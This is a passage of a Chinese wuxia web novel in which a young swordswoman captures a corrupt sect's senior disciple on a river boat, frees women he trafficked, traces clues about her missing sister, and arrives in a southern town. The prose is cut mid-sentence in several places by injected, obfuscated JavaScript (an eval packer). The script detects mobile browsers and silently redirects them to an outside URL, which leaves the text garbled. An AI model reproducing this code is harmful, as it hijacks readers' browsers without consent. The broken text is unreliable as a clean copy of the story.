不过眼下,胡文也没讨到什么好,他后退半步,神色愕然。 从前在他重锤之下的,无不粉身碎骨,刚才连舟雪的伞面竟然抗住了这一击。 他不由重新审视起连舟雪来。 之前只觉得这姑娘手段诡秘,是个有些厉害的小姑娘。但如今,这么小小年纪,竟然在自己面前都不落于下风,这种人,若是不能成为自己的朋友,那势必是要毁掉的。 难不成还要给自己以后留个劲敌吗? 而在连舟雪身后那群想偷袭她的纯阳派弟子,更是不用说,在地上生死未知。 连舟雪不敢托大,稳住身形后,几乎立马一蹬脚,飞身至半空,手中长剑划出一条优美的弧线,自上而下,直取胡文咽喉。 胡文没想到连舟雪反应这般快,甚至还敢主动挑衅自己,他举起铁锤仓促阻挡,剑刃跟重锤擦身而过,迸射出一串火花。 “好快!”胡文心中不由暗自道。 他此前只觉得连舟雪的身形反应很快,却不知道她竟然剑也能如此之快。那自上而下的杀招,带着一股少年人的孤勇。 连舟雪这一击虽然未能得手,但也在这瞬间,连舟雪忽然意识到可能这四十二人对于自己来说,真不算什么。 她内力的确是比不得比自己更加年长的胡文,但是那又怎么样? 眼下她以一敌六,不也是赢了吗? 甚至在刚才,她清楚地感受到对面的人是怕了。 这一刻,似乎有什么叫信念的东西一点一点在她心头驻扎。 她不是不能赢。 她想带着这船上的人走出去。 连舟雪闭上眼睛,感受着耳边的声音。 父亲曾经说过,万事万物都有自己的呼吸。武学不是一味依靠蛮力,要找寻其中规律。以静制动,抓住那最精细的一缕呼吸,横插直入,掐住对手命脉。 连舟雪从前觉得这听起来太玄妙,但如今,从刚才跟纯阳派的人交手中,她好像有一点明白过来父亲口中的“呼吸”。 她能听见风声,河流的流水声,这是自然的吐纳声,而在自己身后不远处应休惊出剑的声音,每一次拔刀,每一次转身,每一次重击,那都是执剑的人跟兵器合二为一的呼吸频率。 再然后,近在咫尺的,便是一对重锤被人举起的声音,破空声里似乎都带来了规律的节奏。 是在这一刻! 连舟雪倏然睁开眼,执伞的手没有再跟胡文硬碰硬比拼内力,而是负于身后,只依靠左手执剑,在双锤之间的游走。 胡文动作落空,而连舟雪的剑却变得越来越快,但在连舟雪自己看来,她没觉得自己变快了,而是觉得对面的人的动作变慢。 “嘭——” 8. 第 8 章 当再一次两人兵刃相交的那瞬间,被胡文紧握在手中的双锤,竟然被连舟雪手中的那把看起来轻盈的薄剑击飞。 胡文不可置信地看着眼前发生的一切,分明在最初的时候,他跟连舟雪交手,并不觉得自己会败在一黄毛丫头的手下。 不论是比拼内力,还是技巧,他不觉得自己会比不过一个黄毛丫头。 可是现在…… 连舟雪飞身上前,点住了胡文周身几处大穴,拎着他的后颈,急速后退。 “都住手!”连舟雪这一声用了些内力,让整艘船上的人都能听见。 这一船的人,都是胡文带出来山门,而胡文又是大师兄,平日里纯阳派的弟子们都听他的命令行事。 眼下连舟雪的这一声吼,直接让船上纯阳派的弟子失了主心骨,一个个手里拿着兵器,不由自主地停了下来。 胡文被连舟雪拿捏在手中,心中气得要死。 若是这时候他们一起围攻上连舟雪跟应休惊,未尝没有胜算。 可现在,纯阳派的弟子们个个面面相觑,应休惊趁此机会,一道剑气,将所有人手中的剑击落在地,又趁着纯阳派的人还没回过神来时,一举封住了这些人的内力。 连舟雪这才觉得肩头一松。 她这算不算得上是“百万军中取上将之头”? 等到松懈下来,连舟雪才感到身后的衣衫都已经被冷汗沾湿。她手腕还有些酸麻,胡文的那对千斤重的重锤,可不是开玩笑。第一次用剑伞硬扛下那一击时,她被震退三步,手腕可能就是在那时候受了伤。 连舟雪拖着人,进了船舱内。 进去后,看着胡文那张脸都已经快要憋成紫红色,连舟雪是真担心这人气急攻心,一不小心真被气死,她干脆先解开胡文的哑穴。 “你们究竟想做什么!” 胡文的哑穴一被解开,立马大喝。 可能真是气得狠了,在说话的同时,还咳出了一口血。 胡文瞪着一双眼,无论如何也没有料想到在自己的地盘上,自己竟然被一黄毛丫头给拿捏了。 “我劝你现在最好给我解开,不然,日后惹了我们纯阳派的人,你们想在江湖上行走,可没什么安生日子!”胡文恐吓道。 应休惊随后走过来,正听着胡文口中狂言,忽然一下,拿着手中的软剑,就扎进后者的臂膀上。 “啊——”胡文惨叫出声,“你……”他额头上冒出豆大的汗珠。 应休惊像是没听见一般,那双眼睛眼尾似乎有些泛红,像是杀红了眼,又像是多了几分妖美。 “惹了你们纯阳派?是这样吗?这叫招惹吗?你跟我说说,什么叫没有安生日子?”应休惊抽出软剑,看着剑尖染上了猩红的鲜血,他漫不经心地将剑刃放在了胡文的脸上。 这一幕,吓得胡文脸上失去血色,变得一片苍白。 越是猖狂的人,越是惜命。 “你,你究竟想做什么?”胡文颤着声音问。 他意识到眼前这人根本就不是什么普通人,跟疯子似的。 一般人听了他的话后,多多少少还会有点顾忌,但偏偏在应休惊这儿,那些威胁恐吓的话没有半点作用不说,反而还激起他的暴虐。 “阶下囚不应该有阶下囚的样子?”应休惊冲着他淡笑问。 这样叫嚣,那岂不是说明心中不服? 胡文可没有因为应休惊此刻脸上的笑容而变得没那么紧张,相反的,一个现在剑刃都还放在自己脸上,还能笑盈盈跟他“谈笑风生”的人,让他忍不住咽了咽口水。 “郝公子,我们,我们有事好商量。”胡文忽然变得好声好气。 至于他的那张脸,一阵红一阵白,又是被气的,又是被吓的,那脸色顿时显得有些缤纷多彩。 应休惊手腕翻转,那柄软剑就贴着胡文的脸上,粗浅地来回擦拭了两下,像是将剑尖上的血迹都擦拭了干净,他这才收了剑,看向连舟雪。 决定是连舟雪做的,要怎么处理,他都没意见。 连舟雪:“我就问两个问题。” 胡文刚才就被应休惊的动作吓破胆,现在看起来服帖了许多。听到连舟雪的问话,他忙不迭开口:“郝姑娘请讲。” “你船上的那些姑娘是否都是良家子?” 胡文干笑两声,眼神飘忽,“先前我不是都是已经跟姑娘解释过吗?那些女子,都是主动来我纯阳派寻求庇佑的。她们落难,我们施以援手,哪里还会询问她们的出身呢?” 胡文这话刚说完,还没松一口气,猛然一下,就发出一声惨叫。 他一张脸上的五官都痛得变形,大腿处扎着一把剑。可又因为现在被人定住了身形,弯不得腰,只能眼睁睁看着大腿处流出汩汩鲜血,却连伸手捂住伤口都做不到,痛得大喊大叫。 “说谎。”应休惊漠然抽出手中的软剑,开口说。 “我没有!”胡文还想狡辩。 但随着他这话的落下,应休惊手起刀落,速度快得根本没给人反应的时间。很快,在胡文的身上,就不止三个洞了。 应休惊站在原地,眼底含着一抹讥诮。 胡文最终还是没忍住,尤其是他见应休惊出手那么干脆利落,实在是很难不怀疑这人就是故意的。 他可不想被捅成筛子,“我,我说,我说!” 应休惊这才收了剑,朝着他身上多出来的几处伤口看了眼,“早说不就完了吗?何必还这样遭罪?” 胡文:“……!!!” 忍住心头涌上来的那一口憋闷的老血,他交代道:“那些女子的确是良家子,她们当初投靠我们的时候,说好的给我们当牛做马。现在这不是各取所需吗?郝姑娘,郝公子,我真的说的都是实话啊!” “你胡说!” 就在胡文说完这话时,门口忽然传来一道愤怒的女音。 连舟雪转头,就看见谭巧儿带着一群面生的姑娘们围聚在了门口。 除了谭巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107315|163940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿之外,连舟雪还认出来一位,是先前她登船时,给自己倒酒的姑娘。 那倒酒的姑娘面上的神情倒是跟谭巧儿如出一辙,看向胡文时,有些惧怕,但是更多的还是厌恶跟痛恨。 站在谭巧儿身后的那些姑娘们此刻的形容有些狼狈,手腕上还有被捆绑过的痕迹。不难猜出来,这些人应该就是先前应休惊在船舱下面发现的被关起来的那些姑娘。 “什么当牛做马?!当初你们跟我爷娘说买我回去当婢女,也算是有一份自己的生计,给我一份活儿干。我爷娘这才信了你们,将我送过来。谁知道你们这些道貌岸然的伪君子,转头就对我们动手动脚!” 谭巧儿说完这话后,在她身后的那些姑娘们也看清楚了眼前的情况,纷纷出声。 “你们这些畜生,当初分明就是强抢的我跟我妹妹,我们可没想要跟你们走。” “这些人路过我们村子的时候,说若是我爹娘不将我交出来,就要把我们全家都杀了,我爹娘这才不得不将我送来。” “我跟巧儿姑娘一样,你们说跟着你们去山上,做些洒扫的事,就能一世安定,不需要整日里担惊受怕。结果你们分明就是跟外面的强盗歹徒没什么两样!上了山后,才发现要做的不仅是伺候人的活儿,还要给你们这些畜生占便宜,比在山下还不如!我爹娘都被你们骗了!你们这群欺世盗名的猪狗之辈!” “骗子骗子!杀了他!” 连舟雪听着耳边传来的不同的姑娘们的斥责声,她抱着剑伞踱步走到胡文跟前。 “这就是你说的好意收留?各取所需?” 胡文冷汗涔涔,他现在才反应过来恐怕自己一早就被连舟雪和应休惊两人盯上。说不定这两人就是为了船上这些贱人而来,但一时间胡文又想不出来自己究竟是哪里露出了破绽。 眼下怕是说什么都没用,他只能求饶,“姑娘,这可不能怪我啊,如今世家门派哪个不是如此?要怪,就怪这世道吧。您想一想,若是没有我的话,这些人,可能也活不到现在啊!” 连舟雪听着耳边这些话,拧了拧眉头,她看向应休惊,后者此刻抱着软剑,斜斜地靠在柱子上,仿佛没听见一般,一副完全听她处理的意思。 “我不怪你。”连舟雪开口,打断了胡文的哭诉。 后者一听这话,立马睁大了眼睛,眼底欣喜地看着连舟雪。 他就知道相比于旁边那个杀人不眨眼的魔头,还是这位姑娘好说话很多。 “郝姑娘,您能理解我,我也就知足了的……”胡文话还没有说完,就被连舟雪打断。 “要怪你的,或者说要不要原谅你的,最有资格的人,不也都在眼前吗?”连舟雪缓缓将自己后半句话补充完整。 胡文瞪大了眼睛,他心头忽然有一种不好的预感。 连舟雪伸手冲着还站在门口没有进来的谭巧儿等人招手,这些姑娘们们才是“债主”。胡文要不要被原谅,要不要被教训,自然也是真正的债主说了算。 9. 第 9 章 她原本还有一个问题的,但从现在的情况看来,或许说不定是胡文自己不想要这个机会。 “他就交给你们了。”连舟雪说。 谭巧儿等人还有点没反应过来,连舟雪又道:”他如今动弹不得,你们想做什么,大可一试。“ 连舟雪说完这话后,就准备腾地方,将这一处留给门口的这些姑娘们。 她看向应休惊,示意后者跟自己一起先出去。 正好,这时候应休惊的视线也扫了过来。 后者没多说什么,只是抱着双臂的其中一只手,微微抬起,在连舟雪目光扫过来时,竖起了大拇指。 “我还以为你最后会放了他。”应休惊走出会客厅后,开口说。 连舟雪:“为什么?” “纯阳派做的这些事情,在这些姑娘们看来,可能是罪该万死。但在很多人眼里,觉得很正常。” 连舟雪拧眉,“强迫女子做她们不愿意做的事,这如何正常?” 应休惊轻笑一声,“在乱世中,不管怎么活下来,能活下来就已经赢了大多数人。” 连舟雪并不赞同,若是无法自主做选择,被人压迫着没有尊严活着,那还不如死了算了。 但是,她不是旁人,俗话还道“好死不如赖活”,她没有资格替旁人选择生或者死。 “那你是觉得这些畜生应该活着吗?”连舟雪问。 应休惊摇摇头。 连舟雪露出一副“你看你还不是这样”的表情。 不过,下一刻应休惊开口解释道:“留下他,祸患太多,不如杀了干净。” 连舟雪:“……” 沉默片刻,她都不知道自己跟眼前的人算不算是殊途同归。 应休惊说完那句话后,没看连舟雪听后是什么反应,他率先大步朝着外面走去,“你不是还有第二个问题吗?不去问?” 连舟雪甩了甩头,跟在他身后一起去了甲板。 甲板上还有不少刚才被应休惊一手定在原地的纯阳派的弟子,这江河上的夜风呼啸而过,带来几分寒凉。 西北昼夜温差很大,跟南方一带比不了。那些被困在甲板上的又被封了内力的纯阳派的弟子们,在看见应休惊和连舟雪两人的身影时,也不管对方想干什么,心头也蓦然一下燃起来了一簇小小的火苗。 要杀要剐,先回屋再说行不行? 连舟雪不知众人心中所想,直接开口道:“听闻你们都是从南边来的,正好现在我有一事,想问问你们。若是回答得不好,你们就进去陪陪你们那位大师兄?” 连舟雪在说完这话的时候,应休惊脚下一转,身形鬼魅,几乎让人看不清楚他脚下的步伐,他人已经在甲板上这些纯阳派的弟子中穿梭而过,解开了每个人的哑穴。 当即,就有纯阳派的弟子问:“那若是回答得好呢?” 没有内力傍身,他觉得自己快要被冻死了。 应休惊冷笑一声,“回答得好就留在原地,这不算是奖励?” 他手中的那柄软剑已经重新放回了腰间,双手抱臂,衣袂随风自动,仿佛快要跟无边的夜色融为一体。但是那苍白的面色在烛火下,被映照得格外冷峻,隐约可见皮下青色的血管。因为眉梢长而锋利,又微微上扬,看起来有几分近乎于凌厉的邪性。 他不说话的时候就已经给人一种冷漠和疏离,现在一开口,整个人像是出鞘的利刃,冰冷又危险。 应休惊一开口,甲板上那些心底还有些躁动的纯阳派的弟子们,一个个的立马就歇了心思。 至于最开始说话的那人,在感觉到应休惊的目光扫来时,忍不住缩了缩脖子。 就算是在甲板上,但他们也是能将舱房里的声音听得一清二楚的。 大师兄传来的惨叫声,就算是他们,也忍不住打了个寒颤。 想到平日里自己是如何对待那些上山签了卖身契的女子的,在甲板上的纯阳派弟子们一个个面色难看。 “既然如此,那就开始吧。”连舟雪说这话的时候,拿出当初从应休惊手中抢走的“破”符,“你们当中,可有人识得此物?” 绿色的符纸,在连舟雪手中格外显眼。 “是符箓吗?怎么会是绿色的?我就只见过黄色的。” “好像是真的符箓,但我也没有见过绿色。” “没见过……” 连舟雪听着耳边传来的否认的声音,她不由紧抿了一下唇瓣。 难道是真的她猜错了吗?这些符纸,一般的纯阳派弟子并不知道? 忽然,就在这时候,一道不一样的声音响了起来。 “我,我好像见过,这种绿色的。” 几乎在这瞬间,连舟雪的视线就朝着声音来源的方向看去了去。 那是个不怎么起眼的小个子弟子,不仅仅个子小,看起来胆子也很小。当连舟雪看过去时,他还忍不住后退了一步。 连舟雪:“……” “你在哪儿见过?” 那小个子弟子老实回答说:“程达,程达给我看过这种绿色的符纸。是跟我一起拜入山门的同乡。只不过我们俩后来一个跟着大师兄,一个跟着小师兄身边。” 纯阳派掌门亲传弟子就那么几个,其余的弟子,都将掌门的几个亲传弟子叫师兄,以示尊重。 “有一次程达回来后,找我喝酒。酒后就给我看过一张绿色的符纸,是一张的疾行符。他宝贝得很,说那符纸比一般的疾行符都要迅速,是小师兄赏给他的,就只有一张。他还说过,日后若是遇见危险,这东西都能保他一命。” 连舟雪握紧了拳头,她长姐在画符这一道上,格外有天赋,出自她长姐之手的符箓,的确是比世面上那些符师售卖的符箓好用不知多少倍。 “那他现在人呢?”连舟雪问。 “程达,程达他已经死了……他是跟着小师兄身后做事,前段时日,他随小师兄去西北边追杀魔教魔头,当场就被魔头给杀死了。” 连舟雪听到这话时,下意识朝着应休惊看了眼。 这倒是跟先前应休惊的解释对上了。 应休惊这时候发出一声嗤笑,“技不如人,还想浑水摸鱼,自不量力,死了也活该。” 纯阳派的弟子听见他这话,一个个气得面色涨红。可现在他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107316|163940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些人的小命都还掌握应休惊手中,就算是生气,也只敢瞪一瞪没什么用的眼珠子。 连舟雪乍然一听应休惊这话,似有些蛮横阴郁,但仔细琢磨一番,她觉得这句“不自量力”竟也有几分道理。 纯阳派的人恐怕在“围剿”应休惊之前,根本连后者的脸都没见过。这般兴师动众,当真是为了正义吗? 她看不尽然。 “难道你们那位小师兄同门,是符师?”连舟雪问。 这话就有不少人回答了。 “当然不是,小师兄用刀,使了一手好刀法。” “没错,再说了,符师哪里是那么容易就能见到的?习武之人,万里挑一的天赋,我活这么大,都还没见过符师是什么模样呢!倒是见过外面的符纸,太贵了,一张寻常的符纸,竟然也要十两银子!” “我们小师兄使的是双刀。” 连舟雪看向先前认出来符纸的小个子的纯阳派弟子,“既然如此,那你知道你们那位小师兄手中的符纸可是从哪里买入?” 对方冥思苦想了好一会儿,摇摇头,“这我倒没听程达提起过。” 连舟雪刚觉得失望,线索似乎就断在了这里,忽然,人群中有一弟子开口道:“我好像也见过小师兄用过这符纸,在,在试炼场上……” 后者说说这话的时候,声音里还带着点犹豫。 不过他这话一出,在场的一大半的弟子脸上都露出一抹恍然来。 连舟雪见状,“什么试炼场?” “这……” “咳咳,其实就是小师兄跟我们大师兄有的时候在门派里会切磋一二,上一次小师兄跟大师兄切磋,好像都是一年前的事情了吧?” “就是一年前,那次小师兄不是把咱们大师兄,嗯……揍趴下了吗?” “嘘,这可不兴说啊。” “大师兄都还在里面……” 连舟雪还没反应过来,她平日里在山上无事,也会同连画楼还有师兄切磋一二,输赢这种事情谁说得准?都是常有的事,哪里有什么不能说? 倒是应休惊很快反应过来,他扯了扯唇角,“哦,大师兄比不过小师弟,恼羞成怒了。” 众纯阳派的弟子:“……” 不是说好的看破不说破吗?虽然是事实,但就这么说出来,真的好吗?感觉宗门的底裤都被人扒了个干净。 连舟雪:“?” 还能这样? 应休惊看着她,解释道:“不是所有的世家门派内都亲如一家,没有点龃龉。师兄弟之间,也有资源的侵夺。” 连舟雪不理解,但很快接受。 一年前,算一算时间,正好是连画楼下山后不久。 所以,那时候连画楼的符纸就已经落进了纯阳派小师弟的手中? 可连画楼怎么会跟纯阳派的人有联系呢? “你若是想知道他们小师兄的行踪,有一个人应该会很清楚。”在连舟雪觉得事情变得迷茫,她自己也有点理不清头绪的时候,应休惊走到她跟前,开口说。 “嗯?” 应休惊:“不要小看一个人的嫉妒心。” 10. 第 10 章 尤其是睚眦必报小肚鸡肠的人,被这样的人当做对手的话,后者说不定比自己都了解自己。 这话让连舟雪反应过来,“你是说里面的?” 应休惊点头。 连舟雪回到舱房的时候,一脚刚走进去,就听到胡文的一声惨叫。 她抬头望去,只见谭巧儿等人都围成一个圈,将胡文包围了起来。 而此刻胡文的四肢都露了出来,最内圈的几个姑娘们拉着他的手臂和的小腿,不知在扒拉什么。 连舟雪走近一看,正好看见拉着胡文胳膊的一个瓜子脸的姑娘,认真瞪大了眼睛,然后手一扯,胡文便发出一声痛呼,而那姑娘兴奋道:“我也拔到了!” 她高举着手,手里是一把寻常人家用的夹猪毛的夹子,烛光下,夹子上有好几根毛。 连舟雪顿时反应过来,谭巧儿她们现在围在胡文身边究竟在做什么。 她忍不住“噗嗤”一声,直接笑了出来。 她先前让这些被骗的姑娘们有仇报仇有怨报怨,原本以为这些姑娘们会将胡文狠狠揍一顿出气,谁知道会变成眼前这样。 连舟雪忽然有点明白刚才为什么胡文叫得那般惨烈。 看那胳膊腿儿,都是一片红彤彤。 由此可见,之前胡文一直在经受着拔毛洗礼。 还挺有想法。 “姑娘来了。”很快有人发现了连舟雪和应休惊的身影,大家纷纷跟连舟雪打招呼。至于应休惊,哪怕谭巧儿之前都已经见过对方,但后者跟连舟雪完全不像是同类人,面若冰霜,看起来很不好接近,在场的姑娘们敢同连舟雪说话,却没几个敢主动招惹应休惊。 胡文从来都没有将谭巧儿这些手无缚鸡之力的女子放在眼中,在他看来,这些需要他们这些男人庇佑的女子,都上不得台面,随意玩都行。 可如今,他在听见连舟雪的声音时,竟也生出来一种“解脱”的滋味。 “郝姑娘,郝姑娘!”胡文转头,看向连舟雪,“我知道错了,你要打要罚我都认了,求郝姑娘高抬贵手!” 他怎么都想不到谭巧儿这些人竟然会对自己“拔毛”! 他难道是什么家禽畜生吗?在被一刀割了脖子之前还要被拔毛?就算是家禽畜生,也没有活着的时候这般硬拔吧? 原本最初胡文还有那么些“是可忍孰不可忍”的想法,但很快,他觉得生理上的疼痛才是最不能忍的。 至于别的,他已经痛得快要失去思考的能力。 这种“酷刑”,胡文都不知道什么时候才是个头。 被连舟雪打两下,他可能就痛晕过去。但被一群女子围着拔毛,他从来不知道原来自己身上有那么多的毛,也不知道痛得晕过去又能痛醒来。 简直生不如死。 连舟雪挑挑眉,她觉得胡文此人实在是不聪明。 “你不应该跟这些姑娘们求饶?”连舟雪问。 胡文:“……” 他向来看不上这些寻常女子,若是现在对这些人求饶,他自己低不下那个头。 连舟雪也懒得琢磨他的心思,直接道:“听说,你那位小师弟算得上是天纵奇才?” “放屁!” 原本已经蔫了吧唧的胡文,在听到连舟雪这句话时,陡然一下来了精神。 “什么奇才?!不过是巧言令色,惯会讨师父欢心的谄媚之徒!” 连舟雪:“……” 她不由朝身后的应休惊看了眼,她不得不承认,这人每次说话,还真是一针见血。 胡文怒斥了两句后,这才反应过来,表情有些讪讪的。 连舟雪像是没看见他的窘迫一般,开口道:“听闻你师弟一年前得了机缘,现在你说你师弟死于魔教之手,谁知道是不是你在背后推波助澜,故意引得他走向这条思路。” 胡文好不容易平静一点的心,因为连舟雪现在这话变得不平静起来。 “我的确是不满当初他跟着师父去见陆家的人,可他的死跟我可没有关系,你别胡说!”胡文像是被踩了尾巴的猫一样,愤怒道,“再说了,我当时不满是不满,后来也找他比试过。难道你以为他作为师弟就是个好师弟吗?哼,当初他回来后,可能是陆家的人看中他,给了他不少宝贝。他一个人留着,可从来没想过我们这些师兄弟!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107317|163940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 胡文愤愤道。 连舟雪心中一动,面上没展露出来,“你眼皮子就这么浅?还是大师兄?” “你懂什么!那可是符纸!这天下的符师能有多少,外面能买到的符箓能有多少?那小子,自己得了那么多的符纸,他甚至在试炼场上,跟我对决的时候浪费,也不曾想过要给我这个做师兄的分享分享。”胡文越说越来了气,那张脸上,两侧的太阳穴处的青筋都暴了起来。 “你师弟得了好东西,自然也是花真金白银去买的,他不给,你问清楚在何处买的,不就解决了吗?还眼馋自己师弟的东西。”连舟雪不客气说。 胡文本就禁不得一点激,眼下压根就没空思考连舟雪这话有什么不对,急于自证的:“你以为我没有问吗?可是我那好师弟,说什么都不愿意告诉我,还说这是世间独一无二的。哼!我看他就是故意的,瞒着我,这样他有了,我却没有,又能骑到我头上!” 胡文说得来劲,却没有发现眼下连舟雪的脸色却变得有些不好看。 是啊,连画楼画的符箓都是独一无二的,怎么可能随随便便给陌生人? 连舟雪走出舱门,迎着江面的夜风,眼神也不知道具体落在了哪一处。 她想到连画楼下山的前一晚上,来她房间里,说江南女子吃穿用度最是精细,到时候给她带礼物回来。 但这个骗子,一年多时间都过去了,不见礼物,也不见人。 “纯阳派在一年前,去过江南参加陆家小姐的及笄礼。”应休惊不知道何时走到连舟雪身边,开口说:“纯阳派上下都知道,刚才随便拎了个人问出来的。这应该没错,陆家那位三小姐,兄长是陆家少主,在家中很受宠爱。陆家除了是武林世家之外,原本家底也很丰厚,算是江南一带的富户。” 连舟雪“嗯”了声,又道了谢。 应休惊见状,知道连舟雪心情不会很好,他干脆转身,留连舟雪一人在这头独处。 不过,在转身的那一刻,应休惊提议:“既然不高兴,那就把他们都杀了。” 连舟雪缓缓转过身,脸上写着明显的问号。 这是哪门子的疯话? 11. 第 11 章 “不想?”应休惊问。 连舟雪:“……” 她之前就发现了,虽然她没听过魔教少主究竟做过什么天怒人怨的事,但就凭着今日之事,她觉得此人颇有做魔头的潜质。 应休惊见连舟雪没有点头,他轻笑一声,叫人听不出来究竟是什么意思,大步离开。 也不知道是不是因为被应休惊这么一打断,连舟雪断了心头那些乱七八糟的猜想。 既然从纯阳派的弟子口中问不出来别的什么消息,但是她现在不是已经确定连画楼是到过了江南吗? 这么一看的话,她此番去江南尤家,应该是能打听到连画楼的消息的。 船行两日,至阜女码头。 连舟雪停船靠岸,她倒是能将就在船上随便吃点东西,但应休惊不行。 应休惊发了热。 连舟雪都不知道这人究竟是什么时候开始发热,他自己也一声不吭。若不是因为她见他昨日一整日都没有出门,今日早上去敲门看看是什么情况,她也不知道应休惊竟然发了热。 这人分明都已经烧得有些神志不清,但在她靠近的时候,那警惕性堪称一绝。 若不是连舟雪反应快,应休惊腰间的软剑怕是就要绞断她的脖子。 阜女渡口是在阜女镇上,这一带属于南疆的地界。 连舟雪从船上下来后,身边跟着谭巧儿和当初那个被胡文叫进来给自己倒酒的姑娘季芳。 “南疆一带,还算是安定,就算是朝廷上再怎么动乱,也乱不到这里来。”连舟雪带着人走在集市上,介绍说,“这里自成一国,百姓信奉的也不是皇权,而是大祭司。” 谭巧儿紧紧地挽着连舟雪的胳膊,小声道:“连姑娘,这里的人穿着的衣服,跟我们好不一样啊。” 连舟雪点点头,“嗯,南疆的风俗跟中原有很大的区别。” 其实北黎雪山更靠近南疆一点,但是大约是因为老祖宗是中原人,所以,即便如此连舟雪还是更能习惯中原的文化。 “这些的女子竟然都可以出来做生意。”季芳也惊讶道。 现在中原虽然很乱,但是一般人家的女子,若不是到了实在没有办法的境地,是绝不可能让女儿家出门抛头露面的。 但这里不一样。 连舟雪失笑,“嗯,在这里有不少是女子当家。南疆百姓信奉的大祭司,也可能是女子。所以,若是你们想要留在这里的话,也可以开始重新生活。” 谭巧儿跟季芳对视一眼,她们俩虽然还有家人,但是船上有好些姑娘已经是没有了家人,说不定真愿意留下来。而且,就算是她们这些有家里人的,回去也不一定是最好的选择。 连舟雪:“你们慢慢考虑,不着急。” 她也是忽然想起来日后还不知道怎么安顿船上的那些姑娘,她自己都是在外奔波,总不能让这些姑娘们也跟着自己一块儿风餐露宿。 连舟雪拿了些银子给两位姑娘,好不容易下船来一次,就让她们去买些自己想吃的想玩的小玩意儿,她则一个人去了医馆。 刚走进医馆,连舟雪就看见了一人背着一个大竹筐在里面,正跟掌柜说着什么。 “这一筐,算算价。” 就算是连舟雪不是习武之人,耳力也没那么好,也能听见此刻从那地方的大竹筐里传来“嘶嘶”的蛇吐着蛇信子的声音。 饶是连舟雪从小就跟各种猛禽凶兽打交道,但骤然一看见一筐子的色彩斑斓的蛇类时,那令人目眩的彩色花纹,连舟雪浑身忍不住起了一层鸡皮疙瘩。 再看这医馆四面墙壁上挂着的东西,不乏各种昆虫动物的尸体,或者是一部分的躯体。 怪阴森的。 掌柜的很快叫了药童,将那一筐的蛇类搬到后院之中,然后看向进来的连舟雪,“姑娘可是要看病?” 连舟雪将视线从医馆的墙壁上收回来,“我是想拿一些治疗发热的药。”想了想,连舟雪又补充道:“应当是皮外伤伤口感染,引起的发热。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107318|163940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 掌柜很快从药柜里拿出一瓶药丸,“这是石母丸,里面主要混有石膏和知母,清热解毒。姑娘拿给病人服下,一日两次,一次一粒。三次后,定然痊愈。” 连舟雪取了药丸后,付清银子,准备离开。 她刚转身,还没走出医馆门口,这时候外面忽然传来一阵铃铛的声音。随后,从外头走进来一扎着满头彩色的辫子,穿着绛紫色短上衣的女子,后者胸口刺绣精美,袖口处镶着白边,身下的百褶裙随着她进来的步子而展开,灵动极了。 连舟雪发现先前自己听见的铃铛声,来自于这姑娘手腕和脚腕处的银铃。 那铃声随着主人的动作而阵阵作响。 连舟雪的视线只是礼貌地扫过,随后很快就挪开。 “闫叔,我要的东西今天到了没?”少女的声音清越明朗,她高声问。她进来的时候也是看见了连舟雪,还有些好奇多看了两眼。 南疆的外来人并不多,很好分辨。 这医馆的掌柜姓闫,显然跟这少女是相熟的。 听见她这话的时候,人就已经从柜台后面走了出来。 “赤瑶来了。”掌柜笑眯眯道,“你来得时机正好,刚才就有人送来一筐,加上上一次收的,应该正好够……” 掌柜这话还没有说完,后院里忽然传来一声惨叫。 连舟雪人已经走到了门口,这声惨叫让她下意识地回了一下头。 只见先前跟着送蛇来的农户进后院的药童从后院刚跑出来,还没来得及说什么,两眼一翻,顿时晕乎乎地栽倒在地上。 “坏了!”被叫做闫叔的掌柜惊叫一声,忙不迭朝着后院跑去。 连舟雪这时候也发现了掌柜口中说的那句“坏了”是什么意思。 只见花花绿绿黄黄的毒蛇,一条接着一条没有一点规律地从前厅通往后院的那扇门里爬出来。片刻间的功夫,医馆内已经到处都是各种各样的蛇。 “啧啧,你们怎么这么不小心?” 12. 第 12 章 